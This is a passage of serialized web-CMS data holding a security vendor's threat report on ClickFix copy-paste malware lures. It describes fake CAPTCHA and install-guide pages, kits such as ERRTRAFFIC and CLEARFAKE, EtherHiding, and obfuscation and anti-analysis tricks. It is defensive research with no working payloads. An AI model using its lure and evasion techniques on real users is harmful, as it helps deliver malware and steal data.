chat.",[],{},{"nodeType":714,"data":1170,"content":1174},{"target":1171},{"sys":1172},{"id":1173,"type":719,"linkType":720},"38yWqRR5JFSxVxf3pRIyUB",[],{"nodeType":714,"data":1176,"content":1180},{"target":1177},{"sys":1178},{"id":1179,"type":719,"linkType":720},"1uYzrxsVScSyl4JMRgcb9J",[],{"nodeType":670,"data":1182,"content":1183},{},[1184],{"nodeType":503,"value":1185,"marks":1186,"data":1187},"One recent example combines this with a creative Windows update lure — a deception that emerged late in 2025. The victim lands on a copy of the ChatGPT interface in Dutch and clicks Log in. The page goes full-screen and starts a fake Windows Update, ending with a ClickFix lure.",[],{},{"nodeType":714,"data":1189,"content":1193},{"target":1190},{"sys":1191},{"id":1192,"type":719,"linkType":720},"GPBTLT7AtHWtqp4KQJldB",[],{"nodeType":714,"data":1195,"content":1199},{"target":1196},{"sys":1197},{"id":1198,"type":719,"linkType":720},"TUjEtcYzSBSQvocAZz8Sp",[],{"nodeType":734,"data":1201,"content":1202},{},[1203],{"nodeType":503,"value":1204,"marks":1205,"data":1207},"Obfuscation and detection evasion",[1206],{"type":667},{},{"nodeType":670,"data":1209,"content":1210},{},[1211],{"nodeType":503,"value":1212,"marks":1213,"data":1214},"Windows lures often avoid rendering the keystrokes they describe as plain text to defeat text matching, through:",[],{},{"nodeType":781,"data":1216,"content":1217},{},[1218,1228],{"nodeType":785,"data":1219,"content":1220},{},[1221],{"nodeType":670,"data":1222,"content":1223},{},[1224],{"nodeType":503,"value":1225,"marks":1226,"data":1227},"Homoglyph substitution — e.g. Р​r​е​ѕ​ѕ​ W​і​n​d​о​w​ѕ​ В​u​t​t​о​n + R, built from Cyrillic lookalikes and zero-width joiners so the words never appear as ASCII.",[],{},{"nodeType":785,"data":1229,"content":1230},{},[1231],{"nodeType":670,"data":1232,"content":1233},{},[1234],{"nodeType":503,"value":1235,"marks":1236,"data":1237},"Mid-word fragmentation — To prove t \u002F hat \u002F ou a \u002F re not \u002F ro bot, split across elements.",[],{},{"nodeType":670,"data":1239,"content":1240},{},[1241],{"nodeType":503,"value":1242,"marks":1243,"data":1244},"The anti-analysis doesn’t end there. Referrer checks, webdriver and headless-browser detection, canvas and WebGL fingerprinting, one-time links, geo and IP gating, and debugger traps are all common, with unrelated kits drawing down on the same toolkit of evasion techniques. ",[],{},{"nodeType":670,"data":1246,"content":1247},{},[1248],{"nodeType":503,"value":1249,"marks":1250,"data":1251},"ClickFix by design is intended to get around the controls usually designed to stop malware delivery. By using fetch-and-run methods, alongside various forms of obfuscation and encoding, the attacks download a script from a remote host and run it entirely in memory, while masking the urls the script is fetching from. Nothing is written to disk, reducing the detection opportunities, with the actual malicious payload arriving in the second stage. ",[],{},{"nodeType":714,"data":1253,"content":1257},{"target":1254},{"sys":1255},{"id":1256,"type":719,"linkType":720},"3F7xE1eU6zCWeWGqTy8FtM",[],{"nodeType":730,"data":1259,"content":1260},{},[],{"nodeType":734,"data":1262,"content":1263},{},[1264],{"nodeType":503,"value":1265,"marks":1266,"data":1268},"Payload evolution",[1267],{"type":667},{},{"nodeType":670,"data":1270,"content":1271},{},[1272],{"nodeType":503,"value":1273,"marks":1274,"data":1275},"At Push, we’re focused on the upstream ClickFix delivery rather than malware analysis and execution. But endpoint-layer controls are coming under increasing pressure in the face of ClickFix evolution as attackers look to develop new ways of evading controls.",[],{},{"nodeType":781,"data":1277,"content":1278},{},[1279,1302,1326,1348,1383],{"nodeType":785,"data":1280,"content":1281},{},[1282],{"nodeType":670,"data":1283,"content":1284},{},[1285,1289,1298],{"nodeType":503,"value":1286,"marks":1287,"data":1288},"ClickFix Payload-as-a-Service (CPaaS) platforms offer ",[],{},{"nodeType":795,"data":1290,"content":1292},{"uri":1291},"https:\u002F\u002Fthehackernews.com\u002F2026\u002F07\u002Fresearcher-analyzes-3000-live-clickfix.html",[1293],{"nodeType":503,"value":1294,"marks":1295,"data":1297},"API-driven backends",[1296],{"type":803},{},{"nodeType":503,"value":1299,"marks":1300,"data":1301}," generating uniquely obfuscated payloads per victim, mapped across ~3,000 live payloads. ",[],{},{"nodeType":785,"data":1303,"content":1304},{},[1305],{"nodeType":670,"data":1306,"content":1307},{},[1308,1312,1322],{"nodeType":503,"value":1309,"marks":1310,"data":1311},"Russian-origin Loader-as-a-Service ",[],{},{"nodeType":795,"data":1313,"content":1315},{"uri":1314},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fnew-doublecup-clickfix-service-hides-malware-in-browser-cache-images\u002F",[1316],{"nodeType":503,"value":1317,"marks":1318,"data":1321},"DOUBLECUP",[1319,1320],{"type":803},{"type":667},{},{"nodeType":503,"value":1323,"marks":1324,"data":1325}," uses a customer-facing ClickFix builder and steganographic browser cache persistence (payloads encoded in PNG images cached during normal browsing) to evade detection.",[],{},{"nodeType":785,"data":1327,"content":1328},{},[1329],{"nodeType":670,"data":1330,"content":1331},{},[1332,1336,1344],{"nodeType":503,"value":1333,"marks":1334,"data":1335},"Elastic's research on MimicRAT documents multi-stage PowerShell chains that perform AMSI and ETW bypasses as their first action before dropping further payloads. The ",[],{},{"nodeType":795,"data":1337,"content":1339},{"uri":1338},"https:\u002F\u002Fgbhackers.com\u002Frundll32-and-webdav\u002F",[1340],{"nodeType":503,"value":1341,"marks":1342,"data":1343},"rundll32+WebDAV variant",[],{},{"nodeType":503,"value":1345,"marks":1346,"data":1347}," shows operators moving away from PowerShell entirely to avoid AMSI's coverage.",[],{},{"nodeType":785,"data":1349,"content":1350},{},[1351],{"nodeType":670,"data":1352,"content":1353},{},[1354,1358,1367,1371,1379],{"nodeType":503,"value":1355,"marks":1356,"data":1357},"Ransomware operator ",[],{},{"nodeType":795,"data":1359,"content":1361},{"uri":1360},"https:\u002F\u002Fransom-isac.org\u002Fblog\u002Fcrpx0-clickfix-ransomware-analysis\u002F",[1362],{"nodeType":503,"value":1363,"marks":1364,"data":1366},"CRPx0",[1365],{"type":803},{},{"nodeType":503,"value":1368,"marks":1369,"data":1370}," uses ClickFix pages as its primary delivery mechanism targeting 30+ victims since July 2026 with focus on healthcare. Halcyon documented ClickFix delivery across ",[],{},{"nodeType":795,"data":1372,"content":1374},{"uri":1373},"https:\u002F\u002Fwww.halcyon.ai\u002Fransomware-research-reports\u002Fclipboard-to-encryption-the-critical-role-of-clickfix-in-ransomware-campaigns",[1375],{"nodeType":503,"value":1376,"marks":1377,"data":1378},"four additional ransomware families",[],{},{"nodeType":503,"value":1380,"marks":1381,"data":1382},": Qilin, Termite, Interlock, and LeakNet.",[],{},{"nodeType":785,"data":1384,"content":1385},{},[1386],{"nodeType":670,"data":1387,"content":1388},{},[1389,1393,1401],{"nodeType":503,"value":1390,"marks":1391,"data":1392},"The ",[],{},{"nodeType":795,"data":1394,"content":1396},{"uri":1395},"https:\u002F\u002Fcatchingphish.com\u002Fclickexfil-my-iteration-on-clickfix-and-filefix\u002F",[1397],{"nodeType":503,"value":1398,"marks":1399,"data":1400},"ClickExfil PoC",[],{},{"nodeType":503,"value":1402,"marks":1403,"data":1404}," by security researchers demonstrates the use of ClickFix mechanics to exfiltrate files directly rather than deliver malware.",[],{},{"nodeType":714,"data":1406,"content":1410},{"target":1407},{"sys":1408},{"id":1409,"type":719,"linkType":720},"5xAW28WUJPNmfS6URpyQ2D",[],{"nodeType":730,"data":1412,"content":1413},{},[],{"nodeType":660,"data":1415,"content":1416},{},[1417],{"nodeType":503,"value":1418,"marks":1419,"data":1421},"Kit breakdown",[1420],{"type":667},{},{"nodeType":734,"data":1423,"content":1424},{},[1425],{"nodeType":503,"value":1426,"marks":1427,"data":1429},"ERRTRAFFIC",[1428],{"type":667},{},{"nodeType":670,"data":1431,"content":1432},{},[1433],{"nodeType":503,"value":1434,"marks":1435,"data":1436},"ERRTRAFFIC is a commercial Malware-as-a-Service platform priced at $300–380\u002Fmonth, with 11+ confirmed threat actor adopters. It injects itself into compromised websites — predominantly WordPress — and overlays an interchangeable lure picked from a library of faces at load time. Its v3 release upgraded to EtherHiding, reading kit configuration from smart contracts on Polygon via public RPC endpoints, so payload URLs can be rotated with a single blockchain transaction across every compromised site simultaneously. It serves both Windows and macOS instruction sets, adapting to the visitor's OS, and instructs via Win+X rather than Win+R.",[],{},{"nodeType":670,"data":1438,"content":1439},{},[1440,1445],{"nodeType":503,"value":1441,"marks":1442,"data":1444},"Example: ",[1443],{"type":667},{},{"nodeType":503,"value":1446,"marks":1447,"data":1448},"A fake Cloudflare \"Verifying you are human\" screen placed over a compromised site — one of several interchangeable faces this kit picks from at load, which also include a fake blue screen and a missing-font prompt. Step one is Win + X then I, which opens PowerShell or Terminal as administrator. It serves both Windows and macOS, and reads its configuration from a smart contract.",[],{},{"nodeType":714,"data":1450,"content":1454},{"target":1451},{"sys":1452},{"id":1453,"type":719,"linkType":720},"2rV1TMD3mlLU8eT0XfeHGW",[],{"nodeType":730,"data":1456,"content":1457},{},[],{"nodeType":734,"data":1459,"content":1460},{},[1461],{"nodeType":503,"value":1462,"marks":1463,"data":1465},"CLEARFAKE",[1464],{"type":667},{},{"nodeType":670,"data":1467,"content":1468},{},[1469,1473,1486],{"nodeType":503,"value":1470,"marks":1471,"data":1472},"CLEARFAKE is the oldest kit in the set,",[],{},{"nodeType":795,"data":1474,"content":1476},{"uri":1475},"https:\u002F\u002Fkrebsonsecurity.com\u002F2023\u002F10\u002Fthe-fake-browser-update-scam-gets-a-makeover\u002F",[1477,1481],{"nodeType":503,"value":1478,"marks":1479,"data":1480}," ",[],{},{"nodeType":503,"value":1482,"marks":1483,"data":1485},"first identified by researcher Randy McEoin in July 2023",[1484],{"type":803},{},{"nodeType":503,"value":1487,"marks":1488,"data":1489}," — its name comes from the lack of obfuscation in its early JavaScript. It began as a straightforward fake browser update campaign but evolved substantially: by 2025 it had pivoted to ClickFix-style fake reCAPTCHA and Cloudflare Turnstile lures, andadopted  EtherHiding, storing entire payload JavaScript on-chain on the BNB Smart Chain rather than just a URL — so the malicious code is returned in full with no external hosting required.",[],{},{"nodeType":670,"data":1491,"content":1492},{},[1493,1497],{"nodeType":503,"value":1441,"marks":1494,"data":1496},[1495],{"type":667},{},{"nodeType":503,"value":1498,"marks":1499,"data":1500},"The example overlays a compromised publisher's article and blurs the page behind its panel, so the site looks like it is still loading. Its verification line is numeric rather than hex. It serves different instructions per OS, and it reads its configuration on-chain. The same URL served to a Mac gets a different instruction set — \"To better prove you are not a robot, please: Open Terminal…\" instead of the Run dialog. ",[],{},{"nodeType":714,"data":1502,"content":1506},{"target":1503},{"sys":1504},{"id":1505,"type":719,"linkType":720},"7eCIx7NOFvZJTA6mkfbU26",[],{"nodeType":734,"data":1508,"content":1509},{},[1510],{"nodeType":503,"value":1511,"marks":1512,"data":1514},"NOCHAIN",[1513],{"type":667},{},{"nodeType":670,"data":1516,"content":1517},{},[1518],{"nodeType":503,"value":1519,"marks":1520,"data":1521},"NOCHAIN is a fake CAPTCHA malicious copy and paste attack tool delivered from compromised websites. It leverages the EtherHiding technique for hosting its lure content and malicious payloads on a public blockchain. NOCHAIN also introduced an interesting browser-based persistence mechanism by registering a service worker that continues to deliver the payload to repeat visitors.",[],{},{"nodeType":670,"data":1523,"content":1524},{},[1525],{"nodeType":503,"value":1526,"marks":1527,"data":1528},"Visiting a site that has been compromised with NOCHAIN presents a fake clone of Google Search's \"unusual traffic from your computer network\" page with a reCAPTCHA checkbox. Upon clicking the checkbox, the payload is put onto the victim's clipboard and instructions for executing it via the Windows run dialog are displayed.",[],{},{"nodeType":714,"data":1530,"content":1534},{"target":1531},{"sys":1532},{"id":1533,"type":719,"linkType":720},"2DQzGhSAKZxQyyn4ICkyyp",[],{"nodeType":734,"data":1536,"content":1537},{},[1538],{"nodeType":503,"value":1539,"marks":1540,"data":1542},"TURNTIP",[1541],{"type":667},{},{"nodeType":670,"data":1544,"content":1545},{},[1546],{"nodeType":503,"value":1547,"marks":1548,"data":1549},"TURNTIP is a malicious copy and paste attack tool that is based on injecting a fake Cloudflare Turnstile interstitial into compromised sites. Push has observed active development of this tool throughout 2025 and 2026 with several distinct evolutions to the loader in particular.",[],{},{"nodeType":670,"data":1551,"content":1552},{},[1553],{"nodeType":503,"value":1554,"marks":1555,"data":1556},"Push named this threat after the distinctive help tooltip that's included in the execution prompt instructions to ensure that victims can find the Windows meta key to open the run dialog.",[],{},{"nodeType":714,"data":1558,"content":1562},{"target":1559},{"sys":1560},{"id":1561,"type":719,"linkType":720},"28g3nfKTW7us3YqvZ3chGC",[],{"nodeType":730,"data":1564,"content":1565},{},[],{"nodeType":660,"data":1567,"content":1568},{},[1569],{"nodeType":503,"value":1570,"marks":1571,"data":1573},"How Push can help",[1572],{"type":667},{},{"nodeType":670,"data":1575,"content":1576},{},[1577],{"nodeType":503,"value":1578,"marks":1579,"data":1580},"Push detects ClickFix attacks inside the browser before the payload reaches the endpoint. ",[],{},{"nodeType":781,"data":1582,"content":1583},{},[1584,1594],{"nodeType":785,"data":1585,"content":1586},{},[1587],{"nodeType":670,"data":1588,"content":1589},{},[1590],{"nodeType":503,"value":1591,"marks":1592,"data":1593},"Real-time page analysis identifies ClickFix kits on page load from their page structure and script behavior, independent of the attacker's infrastructure, so techniques like EtherHiding and domain rotation don't affect detection. ",[],{},{"nodeType":785,"data":1595,"content":1596},{},[1597],{"nodeType":670,"data":1598,"content":1599},{},[1600],{"nodeType":503,"value":1601,"marks":1602,"data":1603},"Malicious copy and paste detection fires on the clipboard event itself, catching the payload regardless of which LOLBin it invokes or how it's obfuscated — and covering every xFix derivative. ",[],{},{"nodeType":670,"data":1605,"content":1606},{},[1607],{"nodeType":503,"value":1608,"marks":1609,"data":1610},"Because Push operates at the browser layer, it intercepts ClickFix regardless of delivery mechanism, tackling attacks that arrive via search engines and compromised sites rather than email. This adds a powerful layer of protection in the browser that works alongside endpoint-layer controls, and is a flexible way of extending protection to machines that lack endpoint security controls such as BYOD devices, contractor machines, Macs, and developer machines.",[],{},{"nodeType":730,"data":1612,"content":1613},{},[],{"nodeType":660,"data":1615,"content":1616},{},[1617],{"nodeType":503,"value":1618,"marks":1619,"data":1621},"Appendix: Catalog of sub-techniques",[1620],{"type":667},{},{"nodeType":670,"data":1623,"content":1624},{},[1625],{"nodeType":503,"value":1626,"marks":1627,"data":1628},"Numerous ClickFix derivatives have emerged (many of which aren’t really fundamentally different enough to be given a whole new name) with varying lures, payloads, and deception tactics. For the majority, the core mechanics remain the same. ",[],{},{"nodeType":1630,"data":1631,"content":1632},"table",{},[1633,1660,1683,1706,1729,1752,1775,1798,1821,1844,1867,1890],{"nodeType":1634,"data":1635,"content":1636},"table-row",{},[1637,1649],{"nodeType":1638,"data":1639,"content":1640},"table-cell",{},[1641],{"nodeType":670,"data":1642,"content":1643},{},[1644],{"nodeType":503,"value":1645,"marks":1646,"data":1648},"Variant",[1647],{"type":667},{},{"nodeType":1638,"data":1650,"content":1651},{},[1652],{"nodeType":670,"data":1653,"content":1654},{},[1655],{"nodeType":503,"value":1656,"marks":1657,"data":1659},"Mechanic",[1658],{"type":667},{},{"nodeType":1634,"data":1661,"content":1662},{},[1663,1673],{"nodeType":1638,"data":1664,"content":1665},{},[1666],{"nodeType":670,"data":1667,"content":1668},{},[1669],{"nodeType":503,"value":1670,"marks":1671,"data":1672},"ClickFix",[],{},{"nodeType":1638,"data":1674,"content":1675},{},[1676],{"nodeType":670,"data":1677,"content":1678},{},[1679],{"nodeType":503,"value":1680,"marks":1681,"data":1682},"The original: fake error or CAPTCHA prompt tricks the user into opening Run (Win+R) or Terminal and pasting a clipboard-injected command. Remains the dominant in-the-wild technique.",[],{},{"nodeType":1634,"data":1684,"content":1685},{},[1686,1696],{"nodeType":1638,"data":1687,"content":1688},{},[1689],{"nodeType":670,"data":1690,"content":1691},{},[1692],{"nodeType":503,"value":1693,"marks":1694,"data":1695},"TerminalFix",[],{},{"nodeType":1638,"data":1697,"content":1698},{},[1699],{"nodeType":670,"data":1700,"content":1701},{},[1702],{"nodeType":503,"value":1703,"marks":1704,"data":1705},"Fake Cloudflare CAPTCHA on compromised sites instructs the user to open Windows Terminal (Win+X → I) instead of the Run dialog, deploying reverse tunnel backdoors for persistent network access. ",[],{},{"nodeType":1634,"data":1707,"content":1708},{},[1709,1719],{"nodeType":1638,"data":1710,"content":1711},{},[1712],{"nodeType":670,"data":1713,"content":1714},{},[1715],{"nodeType":503,"value":1716,"marks":1717,"data":1718},"CrashFix",[],{},{"nodeType":1638,"data":1720,"content":1721},{},[1722],{"nodeType":670,"data":1723,"content":1724},{},[1725],{"nodeType":503,"value":1726,"marks":1727,"data":1728},"Deliberately crashes or freezes the browser, then presents \"fix\" instructions that involve pasting a malicious command. Relies on urgency and the user's desire to recover their session. ",[],{},{"nodeType":1634,"data":1730,"content":1731},{},[1732,1742],{"nodeType":1638,"data":1733,"content":1734},{},[1735],{"nodeType":670,"data":1736,"content":1737},{},[1738],{"nodeType":503,"value":1739,"marks":1740,"data":1741},"ConsentFix",[],{},{"nodeType":1638,"data":1743,"content":1744},{},[1745],{"nodeType":670,"data":1746,"content":1747},{},[1748],{"nodeType":503,"value":1749,"marks":1750,"data":1751},"Abuses OAuth consent flows via ClickFix-style interaction — the user is walked through granting permissions to a malicious application under the guise of verification or troubleshooting. ",[],{},{"nodeType":1634,"data":1753,"content":1754},{},[1755,1765],{"nodeType":1638,"data":1756,"content":1757},{},[1758],{"nodeType":670,"data":1759,"content":1760},{},[1761],{"nodeType":503,"value":1762,"marks":1763,"data":1764},"ClickExfil",[],{},{"nodeType":1638,"data":1766,"content":1767},{},[1768],{"nodeType":670,"data":1769,"content":1770},{},[1771],{"nodeType":503,"value":1772,"marks":1773,"data":1774},"Uses browser fingerprinting for OS-specific instructions and targets high-value local files including OAuth tokens. Bypasses EDR controls not designed to detect user-initiated outbound transfers.",[],{},{"nodeType":1634,"data":1776,"content":1777},{},[1778,1788],{"nodeType":1638,"data":1779,"content":1780},{},[1781],{"nodeType":670,"data":1782,"content":1783},{},[1784],{"nodeType":503,"value":1785,"marks":1786,"data":1787},"InstallFix",[],{},{"nodeType":1638,"data":1789,"content":1790},{},[1791],{"nodeType":670,"data":1792,"content":1793},{},[1794],{"nodeType":503,"value":1795,"marks":1796,"data":1797},"Fake install guide — \"Install on Windows — Quick install via PowerShell\" — for developer tools and AI products. Distributed via malvertising, cloned docs, and shared LLM conversation URLs (the LLMshare delivery route). Push has detected this against Claude Code, NotebookLM, ChatGPT, and Codex branding.",[],{},{"nodeType":1634,"data":1799,"content":1800},{},[1801,1811],{"nodeType":1638,"data":1802,"content":1803},{},[1804],{"nodeType":670,"data":1805,"content":1806},{},[1807],{"nodeType":503,"value":1808,"marks":1809,"data":1810},"ClickLock (macOS)",[],{},{"nodeType":1638,"data":1812,"content":1813},{},[1814],{"nodeType":670,"data":1815,"content":1816},{},[1817],{"nodeType":503,"value":1818,"marks":1819,"data":1820},"Repeatedly force-kills applications until the user surrenders their login password to make it stop. Targets macOS specifically. ",[],{},{"nodeType":1634,"data":1822,"content":1823},{},[1824,1834],{"nodeType":1638,"data":1825,"content":1826},{},[1827],{"nodeType":670,"data":1828,"content":1829},{},[1830],{"nodeType":503,"value":1831,"marks":1832,"data":1833},"DragFix",[],{},{"nodeType":1638,"data":1835,"content":1836},{},[1837],{"nodeType":670,"data":1838,"content":1839},{},[1840],{"nodeType":503,"value":1841,"marks":1842,"data":1843},"Manipulates drag-and-drop interactions — the user drags what appears to be a normal UI element but is actually dropping a malicious file or payload into an execution context.",[],{},{"nodeType":1634,"data":1845,"content":1846},{},[1847,1857],{"nodeType":1638,"data":1848,"content":1849},{},[1850],{"nodeType":670,"data":1851,"content":1852},{},[1853],{"nodeType":503,"value":1854,"marks":1855,"data":1856},"FileFix",[],{},{"nodeType":1638,"data":1858,"content":1859},{},[1860],{"nodeType":670,"data":1861,"content":1862},{},[1863],{"nodeType":503,"value":1864,"marks":1865,"data":1866},"Abuses the File Explorer address bar — the user is instructed to paste a path or command into the address bar rather than the Run dialog, achieving execution through a less-monitored surface.",[],{},{"nodeType":1634,"data":1868,"content":1869},{},[1870,1880],{"nodeType":1638,"data":1871,"content":1872},{},[1873],{"nodeType":670,"data":1874,"content":1875},{},[1876],{"nodeType":503,"value":1877,"marks":1878,"data":1879},"DownloadFix",[],{},{"nodeType":1638,"data":1881,"content":1882},{},[1883],{"nodeType":670,"data":1884,"content":1885},{},[1886],{"nodeType":503,"value":1887,"marks":1888,"data":1889},"Tricks the user into downloading and executing a file directly (.exe\u002F.dmg) rather than using clipboard-paste-execute — ClickFix lure mechanics applied to a traditional download vector.",[],{},{"nodeType":1634,"data":1891,"content":1892},{},[1893,1903],{"nodeType":1638,"data":1894,"content":1895},{},[1896],{"nodeType":670,"data":1897,"content":1898},{},[1899],{"nodeType":503,"value":1900,"marks":1901,"data":1902},"Fake Update",[],{},{"nodeType":1638,"data":1904,"content":1905},{},[1906],{"nodeType":670,"data":1907,"content":1908},{},[1909],{"nodeType":503,"value":1910,"marks":1911,"data":1912},"The original SocGholish\u002FCLEARFAKE mechanic: a compromised site displays a fake browser or software update prompt. The user clicks through and either downloads a malicious installer or is redirected into a ClickFix clipboard-paste flow. ",[],{},{"nodeType":670,"data":1914,"content":1915},{},[1916],{"nodeType":503,"value":21,"marks":1917,"data":1918},[],{},{"entries":1920},{"hyperlink":1921,"inline":1922,"block":1923},[],[],[1924,1932,1947,1961,1975,1994,2021,2028,2036,2043,2050,2055,2073,2091,2097,2104,2110],{"sys":1925,"__typename":1926,"title":1927,"caption":1927,"layoutMode":60,"file":1928},{"id":718},"Image","Top trending ClickFix kits: ERRTRAFFIC, TURNTIP, NOCHAIN, and CLEARFAKE",{"url":1929,"width":1930,"height":1931},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F2Sih5PQLbqOVdULXAtCxhj\u002F45e16c6a1d3616d132c0775ff58a2252\u002Fimage12.png",1999,997,{"sys":1933,"__typename":1934,"content":1935,"name":1946,"title":60},{"id":909},"InsightTextBlockComponent",{"json":1936},{"data":1937,"content":1938,"nodeType":656},{},[1939],{"data":1940,"content":1941,"nodeType":670},{},[1942],{"data":1943,"marks":1944,"value":1945,"nodeType":503},{},[],"The standard EDR guidance for detecting LOLBin abuse is: baseline normal usage in your environment over 30 days, then alert on anomalies — unusual parent processes, command-line arguments, network connections from trusted binaries, and so on. The problem is that \"unusual\" varies enormously across environments. IT automation, software deployment, MDM tools, and admin scripts all generate legitimate LOLBin activity that looks suspicious out of context. The result is a high false-positive rate that requires significant per-environment tuning. And the set of binaries to monitor keeps growing.","ClickFix 2026 IB1",{"sys":1948,"__typename":1934,"content":1949,"name":1960,"title":60},{"id":940},{"json":1950},{"nodeType":656,"data":1951,"content":1952},{},[1953],{"nodeType":670,"data":1954,"content":1955},{},[1956],{"nodeType":503,"value":1957,"marks":1958,"data":1959},"Alongside base64, we also commonly see openssls base64 as a slight variation on this. Some include a legitimate command prefix, like the example above, and others incorporate small transforms using `rev`, `tr`, etc to defeat string matching against base64 payloads. ",[],{},"ClickFix 2026 IB2",{"sys":1962,"__typename":1934,"content":1963,"name":1974,"title":60},{"id":1021},{"json":1964},{"nodeType":656,"data":1965,"content":1966},{},[1967],{"nodeType":670,"data":1968,"content":1969},{},[1970],{"nodeType":503,"value":1971,"marks":1972,"data":1973},"Incorporating carets and nested quotes has become increasingly more common to defeat binary string matching. Novel launchers continue to emerge, pclua being one of the recent additions.",[],{},"ClickFix 2026 IB3",{"sys":1976,"__typename":1934,"content":1977,"name":1993,"title":60},{"id":1111},{"json":1978},{"nodeType":656,"data":1979,"content":1980},{},[1981],{"nodeType":670,"data":1982,"content":1983},{},[1984,1989],{"nodeType":503,"value":1985,"marks":1986,"data":1988},"Why this matters for defenders:",[1987],{"type":667},{},{"nodeType":503,"value":1990,"marks":1991,"data":1992}," EtherHiding is designed to get around solutions reliant on blocking attacker-controlled infrastructure — URL blocklists, domain reputation services, DNS filtering, and takedown-based disruption. The traditional kill chain has a domain or IP somewhere in the delivery path that defenders can block or request a takedown against; EtherHiding eliminates that by storing kit configuration in a smart contract that no hosting provider can be asked to remove. The payload URL can still be blocked, but the operator rotates it with a single transaction and every compromised site picks up the new one automatically. ",[],{},"ClickFix 2026 IB4",{"sys":1995,"__typename":1934,"content":1996,"name":2020,"title":60},{"id":1132},{"json":1997},{"nodeType":656,"data":1998,"content":1999},{},[2000],{"nodeType":670,"data":2001,"content":2002},{},[2003,2007,2011,2016],{"nodeType":503,"value":1985,"marks":2004,"data":2006},[2005],{"type":667},{},{"nodeType":503,"value":2008,"marks":2009,"data":2010}," The standard ClickFix mitigation advice starts with blocking the Run dialog: \"Remove Run menu from Start Menu\" or \"Restrict Run dialog access\" (User Configuration → Administrative Templates → System) disables Win+R and the dialog itself. But for Win+X, there's no built-in GPO to disable the Power User menu or the keyboard shortcut. Even blocking both shortcuts doesn't block the applications behind them. The user — or the attacker's instructions — can reach the same shells through different routes: Start menu search, File Explorer address bar (type powershell and hit enter), Task Manager's \"Run new task,\" right-click context menu in any folder (Shift + right-click → \"Open PowerShell here\"), cmd → start powershell, or a desktop shortcut. ",[],{},{"nodeType":503,"value":2012,"marks":2013,"data":2015},"There are many paths to a shell on a modern OS, and the attacker only needs to pick one the defender hasn't closed. ",[2014],{"type":667},{},{"nodeType":503,"value":2017,"marks":2018,"data":2019},"\n",[],{},"ClickFix 2026 IB5",{"sys":2022,"__typename":1926,"title":2023,"caption":2023,"layoutMode":60,"file":2024},{"id":1160},"Malvertising into a faked Claude Code install guide with malicious install commands (a clone of the legitimate page)",{"url":2025,"width":2026,"height":2027},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F2lyQA1II4e5idsJMXi3dWP\u002F0af02e5e2f9d7d560411aceb980ffc9a\u002FGroup_744.png",3943,1107,{"sys":2029,"__typename":1926,"title":2030,"caption":2031,"layoutMode":60,"file":2032},{"id":1173},"A shared Claude.ai conversation containing malicious installation instructions.","A shared claude.ai conversation containing malicious installation instructions",{"url":2033,"width":2034,"height":2035},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F2YLf3kEK2y2XjdyM1Q9uRT\u002F6b5774de9708ff8544889305a094d991\u002Fimage6.png",1920,945,{"sys":2037,"__typename":1926,"title":2038,"caption":2039,"layoutMode":60,"file":2040},{"id":1179},"A shared ChatGPT artefact styled to look like an error page, linking to a fake download page","A shared ChatGPT artefact styled to look like an error page, linking to a fake download page.",{"url":2041,"width":1930,"height":2042},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F5grmZOTXQcb1uDHhMw8e20\u002F239aece66c5f29745dd2a77fd288de49\u002Fimage1.png",875,{"sys":2044,"__typename":1926,"title":2045,"caption":2046,"layoutMode":60,"file":2047},{"id":1192},"Fake Windows Update ClickFix lure accessed from a fake ChatGPT page","Fake Windows Update ClickFix lure accessed from a fake ChatGPT page.",{"url":2048,"width":1930,"height":2049},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F5t5VY2QhBgIkkVW8pORho8\u002Ff8883781178e3f9b7de99a69386a2c49\u002Fimage7.png",570,{"sys":2051,"__typename":480,"title":2052,"arcadeDemoUrl":2053,"playText":2054},{"id":1198},"Fake Windows Update ClickFix Demo","https:\u002F\u002Fdemo.arcade.software\u002F3IgfcjkgYZjaltyESSO4?embed","2 mins",{"sys":2056,"__typename":1934,"content":2057,"name":2072,"title":60},{"id":1256},{"json":2058},{"data":2059,"content":2060,"nodeType":656},{},[2061],{"data":2062,"content":2063,"nodeType":670},{},[2064,2068],{"data":2065,"marks":2066,"value":1985,"nodeType":503},{},[2067],{"type":667},{"data":2069,"marks":2070,"value":2071,"nodeType":503},{},[]," These changes make it increasingly difficult for network-layer tools and automated page analysis tools to find and analyse malicious pages for malicious content, with homoglyph\u002Ffragmentation techniques defeating text-matching classifiers, and the anti-analysis measures defeating automated crawlers.","ClickFix 2026 IB6",{"sys":2074,"__typename":1934,"content":2075,"name":2090,"title":60},{"id":1409},{"json":2076},{"data":2077,"content":2078,"nodeType":656},{},[2079],{"data":2080,"content":2081,"nodeType":670},{},[2082,2086],{"data":2083,"marks":2084,"value":1985,"nodeType":503},{},[2085],{"type":667},{"data":2087,"marks":2088,"value":2089,"nodeType":503},{},[]," Endpoint detection and blocking remains a cat-and-mouse game where attackers are continuously searching for new ways to bypass or disable endpoint security tools and detection strategies. And ClickFix is arguably becoming even more dangerous as the range of actors and motives behind ClickFix continues to widen — from commodity infostealers to ransomware affiliates and state-sponsored operations.","ClickFix 2026 IB7",{"sys":2092,"__typename":1926,"title":2093,"caption":60,"layoutMode":60,"file":2094},{"id":1453},"ErrTraffic example",{"url":2095,"width":1930,"height":2096},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F5HBTdwpNReJArmNDXPl7vU\u002Fec1c72ceabe4402cee16543dbefd52ec\u002Fimage5.png",991,{"sys":2098,"__typename":1926,"title":2099,"caption":60,"layoutMode":60,"file":2100},{"id":1505},"CLEARFAKE examples with different payloads.",{"url":2101,"width":2102,"height":2103},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F6PE7UDEkuk5kEcdONZjxnm\u002Fd5cf878aa4271218983e24c61ae21117\u002FGroup_745.png",2582,1136,{"sys":2105,"__typename":1926,"title":2106,"caption":60,"layoutMode":60,"file":2107},{"id":1533},"NOCHAIN 